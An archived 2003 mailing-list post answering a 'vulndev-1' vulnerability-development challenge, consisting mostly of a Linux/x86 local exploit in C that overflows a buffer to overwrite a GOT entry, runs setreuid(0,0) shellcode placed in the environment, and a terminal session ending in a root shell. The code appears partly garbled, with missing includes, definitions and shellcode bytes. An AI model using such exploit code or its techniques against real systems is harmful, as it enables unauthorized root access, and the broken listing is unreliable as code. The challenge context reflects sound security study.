|
|||||||||||
|
Re: vulndev-1 exploit.
From: Joel Eriksson <je-vulndev(at)bitnux.com>
Date: Wed May 14 2003 - 05:15:02 EDT Dear Vulnerability Developers, Thanks to your remarkably insightful analysis of this utterly complex bug. Heh. Anyway, here's what I come up with. Analyze this! ;-) PS. Greets to Doug Lee! [je@vudo ~]$ ADDR=`objdump -R vulndev-1 | awk '$3 == "__libc_start_main" { print $1 }'
[je@vudo ~]$ echo $ADDR
/* * Exploit (Linux/x86) for vulndev-1. * * 2003-05-13 - Joel Eriksson (je at 0xbadc0ded.org) */ #include #include <unistd.h> #include <stdio.h> char code[] =
"\xeb\x0e" "AAAAAAAAAAAAAA" /* jmp 0x0e ; unlink() is evil. */ \
/* setreuid(0,0) */ \
#define BUF_SIZE 252
#define BOF_SIZE 1
int main(int argc, char **argv)
unsigned int code_addr = 0xc0000000 - 4, dest_addr = DEF_ADDR;
char *envp[] = { code, NULL };
char *prog = DEF_PROG;
char arg1[BUF_SIZE+BOF_SIZE+1];
char arg2[9];
if (argc >= 2)
prog = argv[1];
if (argc >= 3)
dest_addr = strtoul(argv[2], NULL, 16);
memset(arg1, 'A', BUF_SIZE+BOF_SIZE);
arg1[sizeof(arg1)-1] = '\0';
code_addr -= strlen(prog) + 1;
code_addr -= strlen(code) + 1;
*((unsigned int *) &arg2[0]) = code_addr;
*((unsigned int *) &arg2[4]) = dest_addr;
fprintf(stderr, "0x%08x\n", code_addr);
execle(prog, prog, arg1, arg2, NULL, envp);
perror("exec");
return 1;
} EOF [je@vudo ~]$ gcc -o expldev-1 expldev-1.c [je@vudo ~]$ ./expldev-1 0xbfffffbd sh-2.05b# whoami root sh-2.05b# -- Joel Eriksson
This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||